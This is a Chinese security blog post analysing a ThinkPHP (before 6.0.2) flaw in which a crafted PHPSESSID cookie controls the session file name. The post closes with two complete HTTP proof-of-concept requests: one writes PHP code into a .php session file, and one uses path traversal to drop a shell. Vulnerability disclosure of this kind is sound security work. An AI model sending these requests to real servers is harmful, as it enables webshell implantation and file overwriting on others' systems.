ThinkPHP<6.0.2任意文件内容写入/覆盖
漏洞原理
利用thinkphp 6.0.2 session生成中,sess_
后字段可控构造PHP文件。且文件内容可控造成getshell或文件覆盖
该漏洞并非可以通过越权执行,需要一定的身份认证.
漏洞分析
调用cookie方法获取以”PHPSESSID”为键的值,可控。
最后存入id字段中,这里会判断长度是否为32
接着开始执行session方法
$this->data(文件内容),在session函数执行过程中,所以可以一定证明并非无条件.
可以给我们提供一定的挖掘思路,可以定位session:set函数
文件:src/think/session/Store.php
先调用getId方法,获取id字段。
跟进write方法,最后会调用writeFile方法
跟进writeFile方法,可以看到执行了文件写入操作.
文件名:/Applications/MAMP/htdocs/tp60/runtime/session/sess_1234567890123456789012345673.php
可控.还有个危害就是覆盖已知文件,伪造session或过滤文件等.
复现
GET /tp60/public/index.php/index/session2?name=<%3fphp+phpinfo()%3b%3f> HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=1234567890123456789012345673.php
Upgrade-Insecure-Requests: 1
路径穿越写shell
GET /tp60/public/index.php/index/session2?name=<%3fphp+phpinfo()%3b%3f> HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=../../../kkkkkkkkkkkkkkkkkkk.php
Upgrade-Insecure-Requests: 1
因为这里sess_..*目录不存在需要多一个../*进行目录穿越
参考链接
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!